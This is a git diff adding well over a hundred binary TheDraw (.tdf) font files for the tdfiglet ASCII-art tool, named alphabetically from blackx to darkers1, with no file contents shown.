diff --git a/art/tdfiglet/fonts/blackx.tdf b/art/tdfiglet/fonts/blackx.tdf
new file mode 100644
index 0000000..6fee99b
Binary files /dev/null and b/art/tdfiglet/fonts/blackx.tdf differ
diff --git a/art/tdfiglet/fonts/bladex.tdf b/art/tdfiglet/fonts/bladex.tdf
new file mode 100644
index 0000000..b6546aa
Binary files /dev/null and b/art/tdfiglet/fonts/bladex.tdf differ
diff --git a/art/tdfiglet/fonts/blah.tdf b/art/tdfiglet/fonts/blah.tdf
new file mode 100644
index 0000000..c23653c
Binary files /dev/null and b/art/tdfiglet/fonts/blah.tdf differ
diff --git a/art/tdfiglet/fonts/blahx.tdf b/art/tdfiglet/fonts/blahx.tdf
new file mode 100644
index 0000000..31a5fc7
Binary files /dev/null and b/art/tdfiglet/fonts/blahx.tdf differ
diff --git a/art/tdfiglet/fonts/blcksunx.tdf b/art/tdfiglet/fonts/blcksunx.tdf
new file mode 100644
index 0000000..44f5baf
Binary files /dev/null and b/art/tdfiglet/fonts/blcksunx.tdf differ
diff --git a/art/tdfiglet/fonts/blcktrnc.tdf b/art/tdfiglet/fonts/blcktrnc.tdf
new file mode 100644
index 0000000..453ad29
Binary files /dev/null and b/art/tdfiglet/fonts/blcktrnc.tdf differ
diff --git a/art/tdfiglet/fonts/bleach.tdf b/art/tdfiglet/fonts/bleach.tdf
new file mode 100644
index 0000000..e5daff0
Binary files /dev/null and b/art/tdfiglet/fonts/bleach.tdf differ
diff --git a/art/tdfiglet/fonts/blendr1x.tdf b/art/tdfiglet/fonts/blendr1x.tdf
new file mode 100644
index 0000000..1cf2135
Binary files /dev/null and b/art/tdfiglet/fonts/blendr1x.tdf differ
diff --git a/art/tdfiglet/fonts/blendr2x.tdf b/art/tdfiglet/fonts/blendr2x.tdf
new file mode 100644
index 0000000..75f7cd8
Binary files /dev/null and b/art/tdfiglet/fonts/blendr2x.tdf differ
diff --git a/art/tdfiglet/fonts/blevx.tdf b/art/tdfiglet/fonts/blevx.tdf
new file mode 100644
index 0000000..567b44f
Binary files /dev/null and b/art/tdfiglet/fonts/blevx.tdf differ
diff --git a/art/tdfiglet/fonts/blisterx.tdf b/art/tdfiglet/fonts/blisterx.tdf
new file mode 100644
index 0000000..a9de772
Binary files /dev/null and b/art/tdfiglet/fonts/blisterx.tdf differ
diff --git a/art/tdfiglet/fonts/block.tdf b/art/tdfiglet/fonts/block.tdf
new file mode 100644
index 0000000..7822b39
Binary files /dev/null and b/art/tdfiglet/fonts/block.tdf differ
diff --git a/art/tdfiglet/fonts/block3d.tdf b/art/tdfiglet/fonts/block3d.tdf
new file mode 100644
index 0000000..d2a080c
Binary files /dev/null and b/art/tdfiglet/fonts/block3d.tdf differ
diff --git a/art/tdfiglet/fonts/block3dx.tdf b/art/tdfiglet/fonts/block3dx.tdf
new file mode 100644
index 0000000..98c0a02
Binary files /dev/null and b/art/tdfiglet/fonts/block3dx.tdf differ
diff --git a/art/tdfiglet/fonts/bloodlg.tdf b/art/tdfiglet/fonts/bloodlg.tdf
new file mode 100644
index 0000000..fa291ca
Binary files /dev/null and b/art/tdfiglet/fonts/bloodlg.tdf differ
diff --git a/art/tdfiglet/fonts/bloodlgc.tdf b/art/tdfiglet/fonts/bloodlgc.tdf
new file mode 100644
index 0000000..9c18a00
Binary files /dev/null and b/art/tdfiglet/fonts/bloodlgc.tdf differ
diff --git a/art/tdfiglet/fonts/bloodsmc.tdf b/art/tdfiglet/fonts/bloodsmc.tdf
new file mode 100644
index 0000000..526e00d
Binary files /dev/null and b/art/tdfiglet/fonts/bloodsmc.tdf differ
diff --git a/art/tdfiglet/fonts/bloodsml.tdf b/art/tdfiglet/fonts/bloodsml.tdf
new file mode 100644
index 0000000..cabfaf8
Binary files /dev/null and b/art/tdfiglet/fonts/bloodsml.tdf differ
diff --git a/art/tdfiglet/fonts/bloodyx.tdf b/art/tdfiglet/fonts/bloodyx.tdf
new file mode 100644
index 0000000..ad0f5f4
Binary files /dev/null and b/art/tdfiglet/fonts/bloodyx.tdf differ
diff --git a/art/tdfiglet/fonts/blueescx.tdf b/art/tdfiglet/fonts/blueescx.tdf
new file mode 100644
index 0000000..85708ee
Binary files /dev/null and b/art/tdfiglet/fonts/blueescx.tdf differ
diff --git a/art/tdfiglet/fonts/blwtorcx.tdf b/art/tdfiglet/fonts/blwtorcx.tdf
new file mode 100644
index 0000000..eb47698
Binary files /dev/null and b/art/tdfiglet/fonts/blwtorcx.tdf differ
diff --git a/art/tdfiglet/fonts/boardx.tdf b/art/tdfiglet/fonts/boardx.tdf
new file mode 100644
index 0000000..01eb90f
Binary files /dev/null and b/art/tdfiglet/fonts/boardx.tdf differ
diff --git a/art/tdfiglet/fonts/bodily.tdf b/art/tdfiglet/fonts/bodily.tdf
new file mode 100644
index 0000000..521096c
Binary files /dev/null and b/art/tdfiglet/fonts/bodily.tdf differ
diff --git a/art/tdfiglet/fonts/bodycnt.tdf b/art/tdfiglet/fonts/bodycnt.tdf
new file mode 100644
index 0000000..7a6dcf0
Binary files /dev/null and b/art/tdfiglet/fonts/bodycnt.tdf differ
diff --git a/art/tdfiglet/fonts/bodycntx.tdf b/art/tdfiglet/fonts/bodycntx.tdf
new file mode 100644
index 0000000..6ab07ed
Binary files /dev/null and b/art/tdfiglet/fonts/bodycntx.tdf differ
diff --git a/art/tdfiglet/fonts/bodyelex.tdf b/art/tdfiglet/fonts/bodyelex.tdf
new file mode 100644
index 0000000..7a9ada2
Binary files /dev/null and b/art/tdfiglet/fonts/bodyelex.tdf differ
diff --git a/art/tdfiglet/fonts/bollux.tdf b/art/tdfiglet/fonts/bollux.tdf
new file mode 100644
index 0000000..92e8bb6
Binary files /dev/null and b/art/tdfiglet/fonts/bollux.tdf differ
diff --git a/art/tdfiglet/fonts/bolluxx.tdf b/art/tdfiglet/fonts/bolluxx.tdf
new file mode 100644
index 0000000..77fefa1
Binary files /dev/null and b/art/tdfiglet/fonts/bolluxx.tdf differ
diff --git a/art/tdfiglet/fonts/bonerx.tdf b/art/tdfiglet/fonts/bonerx.tdf
new file mode 100644
index 0000000..306e59c
Binary files /dev/null and b/art/tdfiglet/fonts/bonerx.tdf differ
diff --git a/art/tdfiglet/fonts/bonex.tdf b/art/tdfiglet/fonts/bonex.tdf
new file mode 100644
index 0000000..dfcf558
Binary files /dev/null and b/art/tdfiglet/fonts/bonex.tdf differ
diff --git a/art/tdfiglet/fonts/bongx.tdf b/art/tdfiglet/fonts/bongx.tdf
new file mode 100644
index 0000000..579a0f2
Binary files /dev/null and b/art/tdfiglet/fonts/bongx.tdf differ
diff --git a/art/tdfiglet/fonts/boxfight.tdf b/art/tdfiglet/fonts/boxfight.tdf
new file mode 100644
index 0000000..f02f7b8
Binary files /dev/null and b/art/tdfiglet/fonts/boxfight.tdf differ
diff --git a/art/tdfiglet/fonts/bravex.tdf b/art/tdfiglet/fonts/bravex.tdf
new file mode 100644
index 0000000..c75b53a
Binary files /dev/null and b/art/tdfiglet/fonts/bravex.tdf differ
diff --git a/art/tdfiglet/fonts/brazenx.tdf b/art/tdfiglet/fonts/brazenx.tdf
new file mode 100644
index 0000000..db49c50
Binary files /dev/null and b/art/tdfiglet/fonts/brazenx.tdf differ
diff --git a/art/tdfiglet/fonts/breachx.tdf b/art/tdfiglet/fonts/breachx.tdf
new file mode 100644
index 0000000..ecc147f
Binary files /dev/null and b/art/tdfiglet/fonts/breachx.tdf differ
diff --git a/art/tdfiglet/fonts/breakx.tdf b/art/tdfiglet/fonts/breakx.tdf
new file mode 100644
index 0000000..8339012
Binary files /dev/null and b/art/tdfiglet/fonts/breakx.tdf differ
diff --git a/art/tdfiglet/fonts/brex.tdf b/art/tdfiglet/fonts/brex.tdf
new file mode 100644
index 0000000..02da8f2
Binary files /dev/null and b/art/tdfiglet/fonts/brex.tdf differ
diff --git a/art/tdfiglet/fonts/brickx.tdf b/art/tdfiglet/fonts/brickx.tdf
new file mode 100644
index 0000000..ca2e61f
Binary files /dev/null and b/art/tdfiglet/fonts/brickx.tdf differ
diff --git a/art/tdfiglet/fonts/brink.tdf b/art/tdfiglet/fonts/brink.tdf
new file mode 100644
index 0000000..fd03bb4
Binary files /dev/null and b/art/tdfiglet/fonts/brink.tdf differ
diff --git a/art/tdfiglet/fonts/brinkx.tdf b/art/tdfiglet/fonts/brinkx.tdf
new file mode 100644
index 0000000..65c63d3
Binary files /dev/null and b/art/tdfiglet/fonts/brinkx.tdf differ
diff --git a/art/tdfiglet/fonts/brndamgx.tdf b/art/tdfiglet/fonts/brndamgx.tdf
new file mode 100644
index 0000000..a368d3b
Binary files /dev/null and b/art/tdfiglet/fonts/brndamgx.tdf differ
diff --git a/art/tdfiglet/fonts/brokenx.tdf b/art/tdfiglet/fonts/brokenx.tdf
new file mode 100644
index 0000000..3bd5f17
Binary files /dev/null and b/art/tdfiglet/fonts/brokenx.tdf differ
diff --git a/art/tdfiglet/fonts/broknsrt.tdf b/art/tdfiglet/fonts/broknsrt.tdf
new file mode 100644
index 0000000..6de93e9
Binary files /dev/null and b/art/tdfiglet/fonts/broknsrt.tdf differ
diff --git a/art/tdfiglet/fonts/brothood.tdf b/art/tdfiglet/fonts/brothood.tdf
new file mode 100644
index 0000000..7d03eb8
Binary files /dev/null and b/art/tdfiglet/fonts/brothood.tdf differ
diff --git a/art/tdfiglet/fonts/bubacol.tdf b/art/tdfiglet/fonts/bubacol.tdf
new file mode 100644
index 0000000..00a0e95
Binary files /dev/null and b/art/tdfiglet/fonts/bubacol.tdf differ
diff --git a/art/tdfiglet/fonts/buffalo.tdf b/art/tdfiglet/fonts/buffalo.tdf
new file mode 100644
index 0000000..7250d45
Binary files /dev/null and b/art/tdfiglet/fonts/buffalo.tdf differ
diff --git a/art/tdfiglet/fonts/burningx.tdf b/art/tdfiglet/fonts/burningx.tdf
new file mode 100644
index 0000000..ca1fe92
Binary files /dev/null and b/art/tdfiglet/fonts/burningx.tdf differ
diff --git a/art/tdfiglet/fonts/cafex.tdf b/art/tdfiglet/fonts/cafex.tdf
new file mode 100644
index 0000000..bdf3342
Binary files /dev/null and b/art/tdfiglet/fonts/cafex.tdf differ
diff --git a/art/tdfiglet/fonts/califorx.tdf b/art/tdfiglet/fonts/califorx.tdf
new file mode 100644
index 0000000..eb8e39a
Binary files /dev/null and b/art/tdfiglet/fonts/califorx.tdf differ
diff --git a/art/tdfiglet/fonts/capitalx.tdf b/art/tdfiglet/fonts/capitalx.tdf
new file mode 100644
index 0000000..4d73d65
Binary files /dev/null and b/art/tdfiglet/fonts/capitalx.tdf differ
diff --git a/art/tdfiglet/fonts/carbonx.tdf b/art/tdfiglet/fonts/carbonx.tdf
new file mode 100644
index 0000000..4f523a4
Binary files /dev/null and b/art/tdfiglet/fonts/carbonx.tdf differ
diff --git a/art/tdfiglet/fonts/cardinax.tdf b/art/tdfiglet/fonts/cardinax.tdf
new file mode 100644
index 0000000..628fa23
Binary files /dev/null and b/art/tdfiglet/fonts/cardinax.tdf differ
diff --git a/art/tdfiglet/fonts/cartelx.tdf b/art/tdfiglet/fonts/cartelx.tdf
new file mode 100644
index 0000000..fc052bd
Binary files /dev/null and b/art/tdfiglet/fonts/cartelx.tdf differ
diff --git a/art/tdfiglet/fonts/cartoon.tdf b/art/tdfiglet/fonts/cartoon.tdf
new file mode 100644
index 0000000..5428781
Binary files /dev/null and b/art/tdfiglet/fonts/cartoon.tdf differ
diff --git a/art/tdfiglet/fonts/casinox.tdf b/art/tdfiglet/fonts/casinox.tdf
new file mode 100644
index 0000000..8f99b42
Binary files /dev/null and b/art/tdfiglet/fonts/casinox.tdf differ
diff --git a/art/tdfiglet/fonts/castlex.tdf b/art/tdfiglet/fonts/castlex.tdf
new file mode 100644
index 0000000..f82fadb
Binary files /dev/null and b/art/tdfiglet/fonts/castlex.tdf differ
diff --git a/art/tdfiglet/fonts/catlkinx.tdf b/art/tdfiglet/fonts/catlkinx.tdf
new file mode 100644
index 0000000..1334f28
Binary files /dev/null and b/art/tdfiglet/fonts/catlkinx.tdf differ
diff --git a/art/tdfiglet/fonts/cattlex.tdf b/art/tdfiglet/fonts/cattlex.tdf
new file mode 100644
index 0000000..72502d1
Binary files /dev/null and b/art/tdfiglet/fonts/cattlex.tdf differ
diff --git a/art/tdfiglet/fonts/ccinx.tdf b/art/tdfiglet/fonts/ccinx.tdf
new file mode 100644
index 0000000..7c9d1e6
Binary files /dev/null and b/art/tdfiglet/fonts/ccinx.tdf differ
diff --git a/art/tdfiglet/fonts/celertyx.tdf b/art/tdfiglet/fonts/celertyx.tdf
new file mode 100644
index 0000000..2407653
Binary files /dev/null and b/art/tdfiglet/fonts/celertyx.tdf differ
diff --git a/art/tdfiglet/fonts/cemetary.tdf b/art/tdfiglet/fonts/cemetary.tdf
new file mode 100644
index 0000000..7a7e772
Binary files /dev/null and b/art/tdfiglet/fonts/cemetary.tdf differ
diff --git a/art/tdfiglet/fonts/cesspoox.tdf b/art/tdfiglet/fonts/cesspoox.tdf
new file mode 100644
index 0000000..2552fcc
Binary files /dev/null and b/art/tdfiglet/fonts/cesspoox.tdf differ
diff --git a/art/tdfiglet/fonts/cfh-hoer.tdf b/art/tdfiglet/fonts/cfh-hoer.tdf
new file mode 100644
index 0000000..621eb2e
Binary files /dev/null and b/art/tdfiglet/fonts/cfh-hoer.tdf differ
diff --git a/art/tdfiglet/fonts/cfh-horx.tdf b/art/tdfiglet/fonts/cfh-horx.tdf
new file mode 100644
index 0000000..526cb48
Binary files /dev/null and b/art/tdfiglet/fonts/cfh-horx.tdf differ
diff --git a/art/tdfiglet/fonts/cfh-snow.tdf b/art/tdfiglet/fonts/cfh-snow.tdf
new file mode 100644
index 0000000..8eccbe3
Binary files /dev/null and b/art/tdfiglet/fonts/cfh-snow.tdf differ
diff --git a/art/tdfiglet/fonts/cfh-snwx.tdf b/art/tdfiglet/fonts/cfh-snwx.tdf
new file mode 100644
index 0000000..a078f3a
Binary files /dev/null and b/art/tdfiglet/fonts/cfh-snwx.tdf differ
diff --git a/art/tdfiglet/fonts/chamberx.tdf b/art/tdfiglet/fonts/chamberx.tdf
new file mode 100644
index 0000000..d02cb58
Binary files /dev/null and b/art/tdfiglet/fonts/chamberx.tdf differ
diff --git a/art/tdfiglet/fonts/channelx.tdf b/art/tdfiglet/fonts/channelx.tdf
new file mode 100644
index 0000000..acd514a
Binary files /dev/null and b/art/tdfiglet/fonts/channelx.tdf differ
diff --git a/art/tdfiglet/fonts/chaos2x.tdf b/art/tdfiglet/fonts/chaos2x.tdf
new file mode 100644
index 0000000..f3da033
Binary files /dev/null and b/art/tdfiglet/fonts/chaos2x.tdf differ
diff --git a/art/tdfiglet/fonts/chaosenx.tdf b/art/tdfiglet/fonts/chaosenx.tdf
new file mode 100644
index 0000000..a77819a
Binary files /dev/null and b/art/tdfiglet/fonts/chaosenx.tdf differ
diff --git a/art/tdfiglet/fonts/chaoticx.tdf b/art/tdfiglet/fonts/chaoticx.tdf
new file mode 100644
index 0000000..e8dbfd4
Binary files /dev/null and b/art/tdfiglet/fonts/chaoticx.tdf differ
diff --git a/art/tdfiglet/fonts/chazergx.tdf b/art/tdfiglet/fonts/chazergx.tdf
new file mode 100644
index 0000000..3eb5c1d
Binary files /dev/null and b/art/tdfiglet/fonts/chazergx.tdf differ
diff --git a/art/tdfiglet/fonts/children.tdf b/art/tdfiglet/fonts/children.tdf
new file mode 100644
index 0000000..eae3e91
Binary files /dev/null and b/art/tdfiglet/fonts/children.tdf differ
diff --git a/art/tdfiglet/fonts/chnlzero.tdf b/art/tdfiglet/fonts/chnlzero.tdf
new file mode 100644
index 0000000..57c5f24
Binary files /dev/null and b/art/tdfiglet/fonts/chnlzero.tdf differ
diff --git a/art/tdfiglet/fonts/chromax.tdf b/art/tdfiglet/fonts/chromax.tdf
new file mode 100644
index 0000000..71f0442
Binary files /dev/null and b/art/tdfiglet/fonts/chromax.tdf differ
diff --git a/art/tdfiglet/fonts/chronox.tdf b/art/tdfiglet/fonts/chronox.tdf
new file mode 100644
index 0000000..0be6f05
Binary files /dev/null and b/art/tdfiglet/fonts/chronox.tdf differ
diff --git a/art/tdfiglet/fonts/churchx.tdf b/art/tdfiglet/fonts/churchx.tdf
new file mode 100644
index 0000000..c81f375
Binary files /dev/null and b/art/tdfiglet/fonts/churchx.tdf differ
diff --git a/art/tdfiglet/fonts/ciafontx.tdf b/art/tdfiglet/fonts/ciafontx.tdf
new file mode 100644
index 0000000..004ab1a
Binary files /dev/null and b/art/tdfiglet/fonts/ciafontx.tdf differ
diff --git a/art/tdfiglet/fonts/circutsx.tdf b/art/tdfiglet/fonts/circutsx.tdf
new file mode 100644
index 0000000..8731fd4
Binary files /dev/null and b/art/tdfiglet/fonts/circutsx.tdf differ
diff --git a/art/tdfiglet/fonts/cityx.tdf b/art/tdfiglet/fonts/cityx.tdf
new file mode 100644
index 0000000..dda9129
Binary files /dev/null and b/art/tdfiglet/fonts/cityx.tdf differ
diff --git a/art/tdfiglet/fonts/cldcityx.tdf b/art/tdfiglet/fonts/cldcityx.tdf
new file mode 100644
index 0000000..8a5d4bb
Binary files /dev/null and b/art/tdfiglet/fonts/cldcityx.tdf differ
diff --git a/art/tdfiglet/fonts/closedx.tdf b/art/tdfiglet/fonts/closedx.tdf
new file mode 100644
index 0000000..a64702a
Binary files /dev/null and b/art/tdfiglet/fonts/closedx.tdf differ
diff --git a/art/tdfiglet/fonts/cnerip.tdf b/art/tdfiglet/fonts/cnerip.tdf
new file mode 100644
index 0000000..6654e25
Binary files /dev/null and b/art/tdfiglet/fonts/cnerip.tdf differ
diff --git a/art/tdfiglet/fonts/coderx.tdf b/art/tdfiglet/fonts/coderx.tdf
new file mode 100644
index 0000000..b313f44
Binary files /dev/null and b/art/tdfiglet/fonts/coderx.tdf differ
diff --git a/art/tdfiglet/fonts/codex.tdf b/art/tdfiglet/fonts/codex.tdf
new file mode 100644
index 0000000..a4eb20c
Binary files /dev/null and b/art/tdfiglet/fonts/codex.tdf differ
diff --git a/art/tdfiglet/fonts/colony.tdf b/art/tdfiglet/fonts/colony.tdf
new file mode 100644
index 0000000..16f11bf
Binary files /dev/null and b/art/tdfiglet/fonts/colony.tdf differ
diff --git a/art/tdfiglet/fonts/color.tdf b/art/tdfiglet/fonts/color.tdf
new file mode 100644
index 0000000..b13b6f0
Binary files /dev/null and b/art/tdfiglet/fonts/color.tdf differ
diff --git a/art/tdfiglet/fonts/color_.tdf b/art/tdfiglet/fonts/color_.tdf
new file mode 100644
index 0000000..6a192a6
Binary files /dev/null and b/art/tdfiglet/fonts/color_.tdf differ
diff --git a/art/tdfiglet/fonts/colorhrd.tdf b/art/tdfiglet/fonts/colorhrd.tdf
new file mode 100644
index 0000000..95a00cc
Binary files /dev/null and b/art/tdfiglet/fonts/colorhrd.tdf differ
diff --git a/art/tdfiglet/fonts/coloscol.tdf b/art/tdfiglet/fonts/coloscol.tdf
new file mode 100644
index 0000000..16567ca
Binary files /dev/null and b/art/tdfiglet/fonts/coloscol.tdf differ
diff --git a/art/tdfiglet/fonts/coloseux.tdf b/art/tdfiglet/fonts/coloseux.tdf
new file mode 100644
index 0000000..b32a7eb
Binary files /dev/null and b/art/tdfiglet/fonts/coloseux.tdf differ
diff --git a/art/tdfiglet/fonts/colossal.tdf b/art/tdfiglet/fonts/colossal.tdf
new file mode 100644
index 0000000..e276a35
Binary files /dev/null and b/art/tdfiglet/fonts/colossal.tdf differ
diff --git a/art/tdfiglet/fonts/coloursx.tdf b/art/tdfiglet/fonts/coloursx.tdf
new file mode 100644
index 0000000..c70b6e6
Binary files /dev/null and b/art/tdfiglet/fonts/coloursx.tdf differ
diff --git a/art/tdfiglet/fonts/commx.tdf b/art/tdfiglet/fonts/commx.tdf
new file mode 100644
index 0000000..2e08f97
Binary files /dev/null and b/art/tdfiglet/fonts/commx.tdf differ
diff --git a/art/tdfiglet/fonts/computrx.tdf b/art/tdfiglet/fonts/computrx.tdf
new file mode 100644
index 0000000..5dd690c
Binary files /dev/null and b/art/tdfiglet/fonts/computrx.tdf differ
diff --git a/art/tdfiglet/fonts/consolex.tdf b/art/tdfiglet/fonts/consolex.tdf
new file mode 100644
index 0000000..800ee1c
Binary files /dev/null and b/art/tdfiglet/fonts/consolex.tdf differ
diff --git a/art/tdfiglet/fonts/continux.tdf b/art/tdfiglet/fonts/continux.tdf
new file mode 100644
index 0000000..a5a2bb3
Binary files /dev/null and b/art/tdfiglet/fonts/continux.tdf differ
diff --git a/art/tdfiglet/fonts/convulsx.tdf b/art/tdfiglet/fonts/convulsx.tdf
new file mode 100644
index 0000000..ae12f7d
Binary files /dev/null and b/art/tdfiglet/fonts/convulsx.tdf differ
diff --git a/art/tdfiglet/fonts/cop-bh.tdf b/art/tdfiglet/fonts/cop-bh.tdf
new file mode 100644
index 0000000..31e572e
Binary files /dev/null and b/art/tdfiglet/fonts/cop-bh.tdf differ
diff --git a/art/tdfiglet/fonts/cop_ch1.tdf b/art/tdfiglet/fonts/cop_ch1.tdf
new file mode 100644
index 0000000..82939ef
Binary files /dev/null and b/art/tdfiglet/fonts/cop_ch1.tdf differ
diff --git a/art/tdfiglet/fonts/corosv2x.tdf b/art/tdfiglet/fonts/corosv2x.tdf
new file mode 100644
index 0000000..dd82372
Binary files /dev/null and b/art/tdfiglet/fonts/corosv2x.tdf differ
diff --git a/art/tdfiglet/fonts/corpse.tdf b/art/tdfiglet/fonts/corpse.tdf
new file mode 100644
index 0000000..d92c0cf
Binary files /dev/null and b/art/tdfiglet/fonts/corpse.tdf differ
diff --git a/art/tdfiglet/fonts/corrosox.tdf b/art/tdfiglet/fonts/corrosox.tdf
new file mode 100644
index 0000000..f59aee3
Binary files /dev/null and b/art/tdfiglet/fonts/corrosox.tdf differ
diff --git a/art/tdfiglet/fonts/coruptnx.tdf b/art/tdfiglet/fonts/coruptnx.tdf
new file mode 100644
index 0000000..30eaa42
Binary files /dev/null and b/art/tdfiglet/fonts/coruptnx.tdf differ
diff --git a/art/tdfiglet/fonts/cosmic.tdf b/art/tdfiglet/fonts/cosmic.tdf
new file mode 100644
index 0000000..d547216
Binary files /dev/null and b/art/tdfiglet/fonts/cosmic.tdf differ
diff --git a/art/tdfiglet/fonts/cosmicco.tdf b/art/tdfiglet/fonts/cosmicco.tdf
new file mode 100644
index 0000000..cae2233
Binary files /dev/null and b/art/tdfiglet/fonts/cosmicco.tdf differ
diff --git a/art/tdfiglet/fonts/countx.tdf b/art/tdfiglet/fonts/countx.tdf
new file mode 100644
index 0000000..288847a
Binary files /dev/null and b/art/tdfiglet/fonts/countx.tdf differ
diff --git a/art/tdfiglet/fonts/courierx.tdf b/art/tdfiglet/fonts/courierx.tdf
new file mode 100644
index 0000000..d9bdb1b
Binary files /dev/null and b/art/tdfiglet/fonts/courierx.tdf differ
diff --git a/art/tdfiglet/fonts/cr-x.tdf b/art/tdfiglet/fonts/cr-x.tdf
new file mode 100644
index 0000000..282d7ad
Binary files /dev/null and b/art/tdfiglet/fonts/cr-x.tdf differ
diff --git a/art/tdfiglet/fonts/crazedx.tdf b/art/tdfiglet/fonts/crazedx.tdf
new file mode 100644
index 0000000..0e6f830
Binary files /dev/null and b/art/tdfiglet/fonts/crazedx.tdf differ
diff --git a/art/tdfiglet/fonts/creatiox.tdf b/art/tdfiglet/fonts/creatiox.tdf
new file mode 100644
index 0000000..97fe478
Binary files /dev/null and b/art/tdfiglet/fonts/creatiox.tdf differ
diff --git a/art/tdfiglet/fonts/creatorx.tdf b/art/tdfiglet/fonts/creatorx.tdf
new file mode 100644
index 0000000..0f32b6b
Binary files /dev/null and b/art/tdfiglet/fonts/creatorx.tdf differ
diff --git a/art/tdfiglet/fonts/creepx.tdf b/art/tdfiglet/fonts/creepx.tdf
new file mode 100644
index 0000000..80b8289
Binary files /dev/null and b/art/tdfiglet/fonts/creepx.tdf differ
diff --git a/art/tdfiglet/fonts/crestclx.tdf b/art/tdfiglet/fonts/crestclx.tdf
new file mode 100644
index 0000000..1d9c008
Binary files /dev/null and b/art/tdfiglet/fonts/crestclx.tdf differ
diff --git a/art/tdfiglet/fonts/crewelx.tdf b/art/tdfiglet/fonts/crewelx.tdf
new file mode 100644
index 0000000..68d53e9
Binary files /dev/null and b/art/tdfiglet/fonts/crewelx.tdf differ
diff --git a/art/tdfiglet/fonts/crimrinx.tdf b/art/tdfiglet/fonts/crimrinx.tdf
new file mode 100644
index 0000000..90377a0
Binary files /dev/null and b/art/tdfiglet/fonts/crimrinx.tdf differ
diff --git a/art/tdfiglet/fonts/crimson.tdf b/art/tdfiglet/fonts/crimson.tdf
new file mode 100644
index 0000000..c708cde
Binary files /dev/null and b/art/tdfiglet/fonts/crimson.tdf differ
diff --git a/art/tdfiglet/fonts/crisisx.tdf b/art/tdfiglet/fonts/crisisx.tdf
new file mode 100644
index 0000000..1c62a14
Binary files /dev/null and b/art/tdfiglet/fonts/crisisx.tdf differ
diff --git a/art/tdfiglet/fonts/crosroax.tdf b/art/tdfiglet/fonts/crosroax.tdf
new file mode 100644
index 0000000..b634b05
Binary files /dev/null and b/art/tdfiglet/fonts/crosroax.tdf differ
diff --git a/art/tdfiglet/fonts/cryptic.tdf b/art/tdfiglet/fonts/cryptic.tdf
new file mode 100644
index 0000000..52e691d
Binary files /dev/null and b/art/tdfiglet/fonts/cryptic.tdf differ
diff --git a/art/tdfiglet/fonts/crystalx.tdf b/art/tdfiglet/fonts/crystalx.tdf
new file mode 100644
index 0000000..d55cce2
Binary files /dev/null and b/art/tdfiglet/fonts/crystalx.tdf differ
diff --git a/art/tdfiglet/fonts/crzymadx.tdf b/art/tdfiglet/fonts/crzymadx.tdf
new file mode 100644
index 0000000..91ec0da
Binary files /dev/null and b/art/tdfiglet/fonts/crzymadx.tdf differ
diff --git a/art/tdfiglet/fonts/cyanidx.tdf b/art/tdfiglet/fonts/cyanidx.tdf
new file mode 100644
index 0000000..ae55226
Binary files /dev/null and b/art/tdfiglet/fonts/cyanidx.tdf differ
diff --git a/art/tdfiglet/fonts/cybcrtwx.tdf b/art/tdfiglet/fonts/cybcrtwx.tdf
new file mode 100644
index 0000000..1a23653
Binary files /dev/null and b/art/tdfiglet/fonts/cybcrtwx.tdf differ
diff --git a/art/tdfiglet/fonts/cybera2x.tdf b/art/tdfiglet/fonts/cybera2x.tdf
new file mode 100644
index 0000000..0928855
Binary files /dev/null and b/art/tdfiglet/fonts/cybera2x.tdf differ
diff --git a/art/tdfiglet/fonts/cyberia1.tdf b/art/tdfiglet/fonts/cyberia1.tdf
new file mode 100644
index 0000000..d1ce1a9
Binary files /dev/null and b/art/tdfiglet/fonts/cyberia1.tdf differ
diff --git a/art/tdfiglet/fonts/cybernx.tdf b/art/tdfiglet/fonts/cybernx.tdf
new file mode 100644
index 0000000..3d6a153
Binary files /dev/null and b/art/tdfiglet/fonts/cybernx.tdf differ
diff --git a/art/tdfiglet/fonts/cyberrrx.tdf b/art/tdfiglet/fonts/cyberrrx.tdf
new file mode 100644
index 0000000..7e1171b
Binary files /dev/null and b/art/tdfiglet/fonts/cyberrrx.tdf differ
diff --git a/art/tdfiglet/fonts/cyberwrx.tdf b/art/tdfiglet/fonts/cyberwrx.tdf
new file mode 100644
index 0000000..b5bd18d
Binary files /dev/null and b/art/tdfiglet/fonts/cyberwrx.tdf differ
diff --git a/art/tdfiglet/fonts/cyberwx.tdf b/art/tdfiglet/fonts/cyberwx.tdf
new file mode 100644
index 0000000..4dfbfd1
Binary files /dev/null and b/art/tdfiglet/fonts/cyberwx.tdf differ
diff --git a/art/tdfiglet/fonts/cybrcrme.tdf b/art/tdfiglet/fonts/cybrcrme.tdf
new file mode 100644
index 0000000..86fda19
Binary files /dev/null and b/art/tdfiglet/fonts/cybrcrme.tdf differ
diff --git a/art/tdfiglet/fonts/cybrfrcx.tdf b/art/tdfiglet/fonts/cybrfrcx.tdf
new file mode 100644
index 0000000..8a20ac6
Binary files /dev/null and b/art/tdfiglet/fonts/cybrfrcx.tdf differ
diff --git a/art/tdfiglet/fonts/damagex.tdf b/art/tdfiglet/fonts/damagex.tdf
new file mode 100644
index 0000000..ed7f5d4
Binary files /dev/null and b/art/tdfiglet/fonts/damagex.tdf differ
diff --git a/art/tdfiglet/fonts/damnatnx.tdf b/art/tdfiglet/fonts/damnatnx.tdf
new file mode 100644
index 0000000..dd79e64
Binary files /dev/null and b/art/tdfiglet/fonts/damnatnx.tdf differ
diff --git a/art/tdfiglet/fonts/damnedx.tdf b/art/tdfiglet/fonts/damnedx.tdf
new file mode 100644
index 0000000..ede6320
Binary files /dev/null and b/art/tdfiglet/fonts/damnedx.tdf differ
diff --git a/art/tdfiglet/fonts/dangerfx.tdf b/art/tdfiglet/fonts/dangerfx.tdf
new file mode 100644
index 0000000..0f6f2a3
Binary files /dev/null and b/art/tdfiglet/fonts/dangerfx.tdf differ
diff --git a/art/tdfiglet/fonts/dangerx.tdf b/art/tdfiglet/fonts/dangerx.tdf
new file mode 100644
index 0000000..1f01e44
Binary files /dev/null and b/art/tdfiglet/fonts/dangerx.tdf differ
diff --git a/art/tdfiglet/fonts/dark.tdf b/art/tdfiglet/fonts/dark.tdf
new file mode 100644
index 0000000..cf4bf50
Binary files /dev/null and b/art/tdfiglet/fonts/dark.tdf differ
diff --git a/art/tdfiglet/fonts/darkcrux.tdf b/art/tdfiglet/fonts/darkcrux.tdf
new file mode 100644
index 0000000..4b9b57c
Binary files /dev/null and b/art/tdfiglet/fonts/darkcrux.tdf differ
diff --git a/art/tdfiglet/fonts/darkers1.tdf b/art/tdfiglet/fonts/darkers1.tdf
new file mode 100644
index 0000000..a6fc445
Binary files /dev/null and b/art/tdfiglet/fonts/darkers1.tdf differ
